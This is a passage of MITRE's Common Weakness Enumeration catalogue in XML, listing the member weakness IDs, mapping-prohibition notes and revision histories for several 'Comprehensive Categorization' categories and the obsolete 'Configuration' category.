				<Has_Member CWE_ID="489" View_ID="1400"/>
				<Has_Member CWE_ID="506" View_ID="1400"/>
				<Has_Member CWE_ID="507" View_ID="1400"/>
				<Has_Member CWE_ID="508" View_ID="1400"/>
				<Has_Member CWE_ID="509" View_ID="1400"/>
				<Has_Member CWE_ID="510" View_ID="1400"/>
				<Has_Member CWE_ID="511" View_ID="1400"/>
				<Has_Member CWE_ID="512" View_ID="1400"/>
				<Has_Member CWE_ID="546" View_ID="1400"/>
				<Has_Member CWE_ID="547" View_ID="1400"/>
				<Has_Member CWE_ID="560" View_ID="1400"/>
				<Has_Member CWE_ID="561" View_ID="1400"/>
				<Has_Member CWE_ID="563" View_ID="1400"/>
				<Has_Member CWE_ID="570" View_ID="1400"/>
				<Has_Member CWE_ID="571" View_ID="1400"/>
				<Has_Member CWE_ID="573" View_ID="1400"/>
				<Has_Member CWE_ID="575" View_ID="1400"/>
				<Has_Member CWE_ID="576" View_ID="1400"/>
				<Has_Member CWE_ID="577" View_ID="1400"/>
				<Has_Member CWE_ID="578" View_ID="1400"/>
				<Has_Member CWE_ID="579" View_ID="1400"/>
				<Has_Member CWE_ID="581" View_ID="1400"/>
				<Has_Member CWE_ID="585" View_ID="1400"/>
				<Has_Member CWE_ID="586" View_ID="1400"/>
				<Has_Member CWE_ID="589" View_ID="1400"/>
				<Has_Member CWE_ID="594" View_ID="1400"/>
				<Has_Member CWE_ID="605" View_ID="1400"/>
				<Has_Member CWE_ID="628" View_ID="1400"/>
				<Has_Member CWE_ID="675" View_ID="1400"/>
				<Has_Member CWE_ID="676" View_ID="1400"/>
				<Has_Member CWE_ID="683" View_ID="1400"/>
				<Has_Member CWE_ID="684" View_ID="1400"/>
				<Has_Member CWE_ID="685" View_ID="1400"/>
				<Has_Member CWE_ID="686" View_ID="1400"/>
				<Has_Member CWE_ID="687" View_ID="1400"/>
				<Has_Member CWE_ID="688" View_ID="1400"/>
				<Has_Member CWE_ID="695" View_ID="1400"/>
				<Has_Member CWE_ID="710" View_ID="1400"/>
				<Has_Member CWE_ID="758" View_ID="1400"/>
				<Has_Member CWE_ID="766" View_ID="1400"/>
				<Has_Member CWE_ID="785" View_ID="1400"/>
				<Has_Member CWE_ID="912" View_ID="1400"/>
				<Has_Member CWE_ID="1007" View_ID="1400"/>
				<Has_Member CWE_ID="1041" View_ID="1400"/>
				<Has_Member CWE_ID="1043" View_ID="1400"/>
				<Has_Member CWE_ID="1044" View_ID="1400"/>
				<Has_Member CWE_ID="1045" View_ID="1400"/>
				<Has_Member CWE_ID="1047" View_ID="1400"/>
				<Has_Member CWE_ID="1048" View_ID="1400"/>
				<Has_Member CWE_ID="1053" View_ID="1400"/>
				<Has_Member CWE_ID="1054" View_ID="1400"/>
				<Has_Member CWE_ID="1055" View_ID="1400"/>
				<Has_Member CWE_ID="1056" View_ID="1400"/>
				<Has_Member CWE_ID="1057" View_ID="1400"/>
				<Has_Member CWE_ID="1059" View_ID="1400"/>
				<Has_Member CWE_ID="1060" View_ID="1400"/>
				<Has_Member CWE_ID="1061" View_ID="1400"/>
				<Has_Member CWE_ID="1062" View_ID="1400"/>
				<Has_Member CWE_ID="1064" View_ID="1400"/>
				<Has_Member CWE_ID="1065" View_ID="1400"/>
				<Has_Member CWE_ID="1066" View_ID="1400"/>
				<Has_Member CWE_ID="1068" View_ID="1400"/>
				<Has_Member CWE_ID="1069" View_ID="1400"/>
				<Has_Member CWE_ID="1070" View_ID="1400"/>
				<Has_Member CWE_ID="1071" View_ID="1400"/>
				<Has_Member CWE_ID="1074" View_ID="1400"/>
				<Has_Member CWE_ID="1075" View_ID="1400"/>
				<Has_Member CWE_ID="1076" View_ID="1400"/>
				<Has_Member CWE_ID="1078" View_ID="1400"/>
				<Has_Member CWE_ID="1079" View_ID="1400"/>
				<Has_Member CWE_ID="1080" View_ID="1400"/>
				<Has_Member CWE_ID="1082" View_ID="1400"/>
				<Has_Member CWE_ID="1083" View_ID="1400"/>
				<Has_Member CWE_ID="1085" View_ID="1400"/>
				<Has_Member CWE_ID="1086" View_ID="1400"/>
				<Has_Member CWE_ID="1087" View_ID="1400"/>
				<Has_Member CWE_ID="1090" View_ID="1400"/>
				<Has_Member CWE_ID="1092" View_ID="1400"/>
				<Has_Member CWE_ID="1093" View_ID="1400"/>
				<Has_Member CWE_ID="1095" View_ID="1400"/>
				<Has_Member CWE_ID="1097" View_ID="1400"/>
				<Has_Member CWE_ID="1098" View_ID="1400"/>
				<Has_Member CWE_ID="1099" View_ID="1400"/>
				<Has_Member CWE_ID="1100" View_ID="1400"/>
				<Has_Member CWE_ID="1101" View_ID="1400"/>
				<Has_Member CWE_ID="1102" View_ID="1400"/>
				<Has_Member CWE_ID="1103" View_ID="1400"/>
				<Has_Member CWE_ID="1105" View_ID="1400"/>
				<Has_Member CWE_ID="1106" View_ID="1400"/>
				<Has_Member CWE_ID="1107" View_ID="1400"/>
				<Has_Member CWE_ID="1108" View_ID="1400"/>
				<Has_Member CWE_ID="1109" View_ID="1400"/>
				<Has_Member CWE_ID="1110" View_ID="1400"/>
				<Has_Member CWE_ID="1111" View_ID="1400"/>
				<Has_Member CWE_ID="1112" View_ID="1400"/>
				<Has_Member CWE_ID="1113" View_ID="1400"/>
				<Has_Member CWE_ID="1114" View_ID="1400"/>
				<Has_Member CWE_ID="1115" View_ID="1400"/>
				<Has_Member CWE_ID="1116" View_ID="1400"/>
				<Has_Member CWE_ID="1117" View_ID="1400"/>
				<Has_Member CWE_ID="1118" View_ID="1400"/>
				<Has_Member CWE_ID="1119" View_ID="1400"/>
				<Has_Member CWE_ID="1120" View_ID="1400"/>
				<Has_Member CWE_ID="1121" View_ID="1400"/>
				<Has_Member CWE_ID="1122" View_ID="1400"/>
				<Has_Member CWE_ID="1123" View_ID="1400"/>
				<Has_Member CWE_ID="1124" View_ID="1400"/>
				<Has_Member CWE_ID="1125" View_ID="1400"/>
				<Has_Member CWE_ID="1126" View_ID="1400"/>
				<Has_Member CWE_ID="1127" View_ID="1400"/>
				<Has_Member CWE_ID="1164" View_ID="1400"/>
				<Has_Member CWE_ID="1177" View_ID="1400"/>
				<Has_Member CWE_ID="1209" View_ID="1400"/>
				<Has_Member CWE_ID="1245" View_ID="1400"/>
				<Has_Member CWE_ID="1341" View_ID="1400"/>
				<Has_Member CWE_ID="1357" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1413" Name="Comprehensive Categorization: Protection Mechanism Failure" Status="Incomplete">
			<Summary>Weaknesses in this category are related to protection mechanism failure.</Summary>
			<Relationships>
				<Has_Member CWE_ID="182" View_ID="1400"/>
				<Has_Member CWE_ID="184" View_ID="1400"/>
				<Has_Member CWE_ID="222" View_ID="1400"/>
				<Has_Member CWE_ID="223" View_ID="1400"/>
				<Has_Member CWE_ID="224" View_ID="1400"/>
				<Has_Member CWE_ID="356" View_ID="1400"/>
				<Has_Member CWE_ID="357" View_ID="1400"/>
				<Has_Member CWE_ID="450" View_ID="1400"/>
				<Has_Member CWE_ID="602" View_ID="1400"/>
				<Has_Member CWE_ID="693" View_ID="1400"/>
				<Has_Member CWE_ID="757" View_ID="1400"/>
				<Has_Member CWE_ID="778" View_ID="1400"/>
				<Has_Member CWE_ID="807" View_ID="1400"/>
				<Has_Member CWE_ID="1039" View_ID="1400"/>
				<Has_Member CWE_ID="1248" View_ID="1400"/>
				<Has_Member CWE_ID="1253" View_ID="1400"/>
				<Has_Member CWE_ID="1269" View_ID="1400"/>
				<Has_Member CWE_ID="1278" View_ID="1400"/>
				<Has_Member CWE_ID="1291" View_ID="1400"/>
				<Has_Member CWE_ID="1318" View_ID="1400"/>
				<Has_Member CWE_ID="1319" View_ID="1400"/>
				<Has_Member CWE_ID="1326" View_ID="1400"/>
				<Has_Member CWE_ID="1338" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1414" Name="Comprehensive Categorization: Randomness" Status="Incomplete">
			<Summary>Weaknesses in this category are related to randomness.</Summary>
			<Relationships>
				<Has_Member CWE_ID="6" View_ID="1400"/>
				<Has_Member CWE_ID="323" View_ID="1400"/>
				<Has_Member CWE_ID="329" View_ID="1400"/>
				<Has_Member CWE_ID="330" View_ID="1400"/>
				<Has_Member CWE_ID="331" View_ID="1400"/>
				<Has_Member CWE_ID="332" View_ID="1400"/>
				<Has_Member CWE_ID="333" View_ID="1400"/>
				<Has_Member CWE_ID="334" View_ID="1400"/>
				<Has_Member CWE_ID="335" View_ID="1400"/>
				<Has_Member CWE_ID="336" View_ID="1400"/>
				<Has_Member CWE_ID="337" View_ID="1400"/>
				<Has_Member CWE_ID="338" View_ID="1400"/>
				<Has_Member CWE_ID="339" View_ID="1400"/>
				<Has_Member CWE_ID="340" View_ID="1400"/>
				<Has_Member CWE_ID="341" View_ID="1400"/>
				<Has_Member CWE_ID="342" View_ID="1400"/>
				<Has_Member CWE_ID="343" View_ID="1400"/>
				<Has_Member CWE_ID="344" View_ID="1400"/>
				<Has_Member CWE_ID="1204" View_ID="1400"/>
				<Has_Member CWE_ID="1241" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1415" Name="Comprehensive Categorization: Resource Control" Status="Incomplete">
			<Summary>Weaknesses in this category are related to resource control.</Summary>
			<Relationships>
				<Has_Member CWE_ID="385" View_ID="1400"/>
				<Has_Member CWE_ID="470" View_ID="1400"/>
				<Has_Member CWE_ID="473" View_ID="1400"/>
				<Has_Member CWE_ID="502" View_ID="1400"/>
				<Has_Member CWE_ID="514" View_ID="1400"/>
				<Has_Member CWE_ID="515" View_ID="1400"/>
				<Has_Member CWE_ID="672" View_ID="1400"/>
				<Has_Member CWE_ID="826" View_ID="1400"/>
				<Has_Member CWE_ID="910" View_ID="1400"/>
				<Has_Member CWE_ID="915" View_ID="1400"/>
				<Has_Member CWE_ID="1104" View_ID="1400"/>
				<Has_Member CWE_ID="1249" View_ID="1400"/>
				<Has_Member CWE_ID="1251" View_ID="1400"/>
				<Has_Member CWE_ID="1277" View_ID="1400"/>
				<Has_Member CWE_ID="1310" View_ID="1400"/>
				<Has_Member CWE_ID="1321" View_ID="1400"/>
				<Has_Member CWE_ID="1329" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1416" Name="Comprehensive Categorization: Resource Lifecycle Management" Status="Incomplete">
			<Summary>Weaknesses in this category are related to resource lifecycle management.</Summary>
			<Relationships>
				<Has_Member CWE_ID="98" View_ID="1400"/>
				<Has_Member CWE_ID="118" View_ID="1400"/>
				<Has_Member CWE_ID="178" View_ID="1400"/>
				<Has_Member CWE_ID="192" View_ID="1400"/>
				<Has_Member CWE_ID="194" View_ID="1400"/>
				<Has_Member CWE_ID="195" View_ID="1400"/>
				<Has_Member CWE_ID="196" View_ID="1400"/>
				<Has_Member CWE_ID="197" View_ID="1400"/>
				<Has_Member CWE_ID="212" View_ID="1400"/>
				<Has_Member CWE_ID="221" View_ID="1400"/>
				<Has_Member CWE_ID="226" View_ID="1400"/>
				<Has_Member CWE_ID="243" View_ID="1400"/>
				<Has_Member CWE_ID="372" View_ID="1400"/>
				<Has_Member CWE_ID="386" View_ID="1400"/>
				<Has_Member CWE_ID="400" View_ID="1400"/>
				<Has_Member CWE_ID="404" View_ID="1400"/>
				<Has_Member CWE_ID="405" View_ID="1400"/>
				<Has_Member CWE_ID="406" View_ID="1400"/>
				<Has_Member CWE_ID="407" View_ID="1400"/>
				<Has_Member CWE_ID="409" View_ID="1400"/>
				<Has_Member CWE_ID="410" View_ID="1400"/>
				<Has_Member CWE_ID="434" View_ID="1400"/>
				<Has_Member CWE_ID="453" View_ID="1400"/>
				<Has_Member CWE_ID="454" View_ID="1400"/>
				<Has_Member CWE_ID="456" View_ID="1400"/>
				<Has_Member CWE_ID="457" View_ID="1400"/>
				<Has_Member CWE_ID="459" View_ID="1400"/>
				<Has_Member CWE_ID="460" View_ID="1400"/>
				<Has_Member CWE_ID="471" View_ID="1400"/>
				<Has_Member CWE_ID="487" View_ID="1400"/>
				<Has_Member CWE_ID="495" View_ID="1400"/>
				<Has_Member CWE_ID="496" View_ID="1400"/>
				<Has_Member CWE_ID="501" View_ID="1400"/>
				<Has_Member CWE_ID="568" View_ID="1400"/>
				<Has_Member CWE_ID="580" View_ID="1400"/>
				<Has_Member CWE_ID="588" View_ID="1400"/>
				<Has_Member CWE_ID="607" View_ID="1400"/>
				<Has_Member CWE_ID="610" View_ID="1400"/>
				<Has_Member CWE_ID="618" View_ID="1400"/>
				<Has_Member CWE_ID="662" View_ID="1400"/>
				<Has_Member CWE_ID="664" View_ID="1400"/>
				<Has_Member CWE_ID="665" View_ID="1400"/>
				<Has_Member CWE_ID="666" View_ID="1400"/>
				<Has_Member CWE_ID="669" View_ID="1400"/>
				<Has_Member CWE_ID="673" View_ID="1400"/>
				<Has_Member CWE_ID="681" View_ID="1400"/>
				<Has_Member CWE_ID="704" View_ID="1400"/>
				<Has_Member CWE_ID="706" View_ID="1400"/>
				<Has_Member CWE_ID="749" View_ID="1400"/>
				<Has_Member CWE_ID="770" View_ID="1400"/>
				<Has_Member CWE_ID="771" View_ID="1400"/>
				<Has_Member CWE_ID="772" View_ID="1400"/>
				<Has_Member CWE_ID="773" View_ID="1400"/>
				<Has_Member CWE_ID="774" View_ID="1400"/>
				<Has_Member CWE_ID="775" View_ID="1400"/>
				<Has_Member CWE_ID="776" View_ID="1400"/>
				<Has_Member CWE_ID="779" View_ID="1400"/>
				<Has_Member CWE_ID="782" View_ID="1400"/>
				<Has_Member CWE_ID="827" View_ID="1400"/>
				<Has_Member CWE_ID="829" View_ID="1400"/>
				<Has_Member CWE_ID="830" View_ID="1400"/>
				<Has_Member CWE_ID="843" View_ID="1400"/>
				<Has_Member CWE_ID="908" View_ID="1400"/>
				<Has_Member CWE_ID="909" View_ID="1400"/>
				<Has_Member CWE_ID="911" View_ID="1400"/>
				<Has_Member CWE_ID="913" View_ID="1400"/>
				<Has_Member CWE_ID="920" View_ID="1400"/>
				<Has_Member CWE_ID="922" View_ID="1400"/>
				<Has_Member CWE_ID="1042" View_ID="1400"/>
				<Has_Member CWE_ID="1046" View_ID="1400"/>
				<Has_Member CWE_ID="1049" View_ID="1400"/>
				<Has_Member CWE_ID="1050" View_ID="1400"/>
				<Has_Member CWE_ID="1051" View_ID="1400"/>
				<Has_Member CWE_ID="1052" View_ID="1400"/>
				<Has_Member CWE_ID="1063" View_ID="1400"/>
				<Has_Member CWE_ID="1067" View_ID="1400"/>
				<Has_Member CWE_ID="1072" View_ID="1400"/>
				<Has_Member CWE_ID="1073" View_ID="1400"/>
				<Has_Member CWE_ID="1084" View_ID="1400"/>
				<Has_Member CWE_ID="1089" View_ID="1400"/>
				<Has_Member CWE_ID="1091" View_ID="1400"/>
				<Has_Member CWE_ID="1094" View_ID="1400"/>
				<Has_Member CWE_ID="1176" View_ID="1400"/>
				<Has_Member CWE_ID="1188" View_ID="1400"/>
				<Has_Member CWE_ID="1221" View_ID="1400"/>
				<Has_Member CWE_ID="1229" View_ID="1400"/>
				<Has_Member CWE_ID="1235" View_ID="1400"/>
				<Has_Member CWE_ID="1239" View_ID="1400"/>
				<Has_Member CWE_ID="1246" View_ID="1400"/>
				<Has_Member CWE_ID="1250" View_ID="1400"/>
				<Has_Member CWE_ID="1258" View_ID="1400"/>
				<Has_Member CWE_ID="1266" View_ID="1400"/>
				<Has_Member CWE_ID="1271" View_ID="1400"/>
				<Has_Member CWE_ID="1272" View_ID="1400"/>
				<Has_Member CWE_ID="1279" View_ID="1400"/>
				<Has_Member CWE_ID="1301" View_ID="1400"/>
				<Has_Member CWE_ID="1325" View_ID="1400"/>
				<Has_Member CWE_ID="1330" View_ID="1400"/>
				<Has_Member CWE_ID="1333" View_ID="1400"/>
				<Has_Member CWE_ID="1342" View_ID="1400"/>
				<Has_Member CWE_ID="1386" View_ID="1400"/>
				<Has_Member CWE_ID="1389" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1417" Name="Comprehensive Categorization: Sensitive Information Exposure" Status="Incomplete">
			<Summary>Weaknesses in this category are related to sensitive information exposure.</Summary>
			<Relationships>
				<Has_Member CWE_ID="200" View_ID="1400"/>
				<Has_Member CWE_ID="201" View_ID="1400"/>
				<Has_Member CWE_ID="203" View_ID="1400"/>
				<Has_Member CWE_ID="204" View_ID="1400"/>
				<Has_Member CWE_ID="205" View_ID="1400"/>
				<Has_Member CWE_ID="206" View_ID="1400"/>
				<Has_Member CWE_ID="207" View_ID="1400"/>
				<Has_Member CWE_ID="208" View_ID="1400"/>
				<Has_Member CWE_ID="209" View_ID="1400"/>
				<Has_Member CWE_ID="210" View_ID="1400"/>
				<Has_Member CWE_ID="211" View_ID="1400"/>
				<Has_Member CWE_ID="213" View_ID="1400"/>
				<Has_Member CWE_ID="214" View_ID="1400"/>
				<Has_Member CWE_ID="215" View_ID="1400"/>
				<Has_Member CWE_ID="359" View_ID="1400"/>
				<Has_Member CWE_ID="497" View_ID="1400"/>
				<Has_Member CWE_ID="526" View_ID="1400"/>
				<Has_Member CWE_ID="531" View_ID="1400"/>
				<Has_Member CWE_ID="532" View_ID="1400"/>
				<Has_Member CWE_ID="535" View_ID="1400"/>
				<Has_Member CWE_ID="536" View_ID="1400"/>
				<Has_Member CWE_ID="537" View_ID="1400"/>
				<Has_Member CWE_ID="538" View_ID="1400"/>
				<Has_Member CWE_ID="540" View_ID="1400"/>
				<Has_Member CWE_ID="541" View_ID="1400"/>
				<Has_Member CWE_ID="548" View_ID="1400"/>
				<Has_Member CWE_ID="550" View_ID="1400"/>
				<Has_Member CWE_ID="598" View_ID="1400"/>
				<Has_Member CWE_ID="615" View_ID="1400"/>
				<Has_Member CWE_ID="651" View_ID="1400"/>
				<Has_Member CWE_ID="1254" View_ID="1400"/>
				<Has_Member CWE_ID="1255" View_ID="1400"/>
				<Has_Member CWE_ID="1273" View_ID="1400"/>
				<Has_Member CWE_ID="1295" View_ID="1400"/>
				<Has_Member CWE_ID="1300" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="1418" Name="Comprehensive Categorization: Violation of Secure Design Principles" Status="Incomplete">
			<Summary>Weaknesses in this category are related to violation of secure design principles.</Summary>
			<Relationships>
				<Has_Member CWE_ID="250" View_ID="1400"/>
				<Has_Member CWE_ID="424" View_ID="1400"/>
				<Has_Member CWE_ID="447" View_ID="1400"/>
				<Has_Member CWE_ID="636" View_ID="1400"/>
				<Has_Member CWE_ID="637" View_ID="1400"/>
				<Has_Member CWE_ID="638" View_ID="1400"/>
				<Has_Member CWE_ID="653" View_ID="1400"/>
				<Has_Member CWE_ID="654" View_ID="1400"/>
				<Has_Member CWE_ID="655" View_ID="1400"/>
				<Has_Member CWE_ID="656" View_ID="1400"/>
				<Has_Member CWE_ID="657" View_ID="1400"/>
				<Has_Member CWE_ID="671" View_ID="1400"/>
				<Has_Member CWE_ID="1189" View_ID="1400"/>
				<Has_Member CWE_ID="1192" View_ID="1400"/>
				<Has_Member CWE_ID="1303" View_ID="1400"/>
				<Has_Member CWE_ID="1331" View_ID="1400"/>
				<Has_Member CWE_ID="1395" View_ID="1400"/>
			</Relationships>
			<References>
				<Reference External_Reference_ID="REF-1330"/>
			</References>
			<Notes>
				<Note Type="Mapping">
					<xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
					<xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1330].</xhtml:p>
					<xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
				</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2023-04-25</Submission_Date>
				</Submission>
			</Content_History>
		</Category>
      <Category ID="16" Name="Configuration" Status="Obsolete">
         <Summary>Weaknesses in this category are typically introduced during the configuration of the software.</Summary>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>14</Entry_ID>
               <Entry_Name>Server Misconfiguration</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>15</Entry_ID>
               <Entry_Name>Application Misconfiguration</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
	 <References>
	   <Reference External_Reference_ID="REF-1287" Section="Details of Problematic Mappings"/>
	 </References>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1287]. This CWE entry may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016). Mapping is also Prohibited because this entry's status is Obsolete.</xhtml:p>
               <xhtml:p>Comments: As of CWE 4.9, "Configuration" is beginning to be treated as an aspect of the SDLC in which a product is directed (by a human or automated process) to perform an insecure behavior. CWE mapping should be conducted by analyzing the weakness in the behavior that has been set by the configuration, such as those related to access control (descendants of CWE-284) or resource management (CWE-400), etc.</xhtml:p>
	    </Note>
            <Note Type="Maintenance">Further discussion about this category was held over the CWE Research mailing list in early 2020. No definitive action has been decided.</Note>
            <Note Type="Maintenance">This entry is a Category, but various sources map to it anyway, despite CWE guidance that Categories should not be mapped. In this case, there are no clear CWE Weaknesses that can be utilized. "Inappropriate Configuration" sounds more like a Weakness in CWE's style, but it still does not indicate actual behavior of the product. Further research is still required, however, as a "configuration weakness" might be Primary to many other CWEs, i.e., it might be better described in terms of chaining relationships.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, References</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="169" Name="DEPRECATED: Technology-Specific Special Elements" Status="Deprecated">
         <Summary>This category has been deprecated. It was originally intended as a "catch-all" for input validation problems in technologies that did not have their own CWE, but introduces unnecessary depth to the hierarchy.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
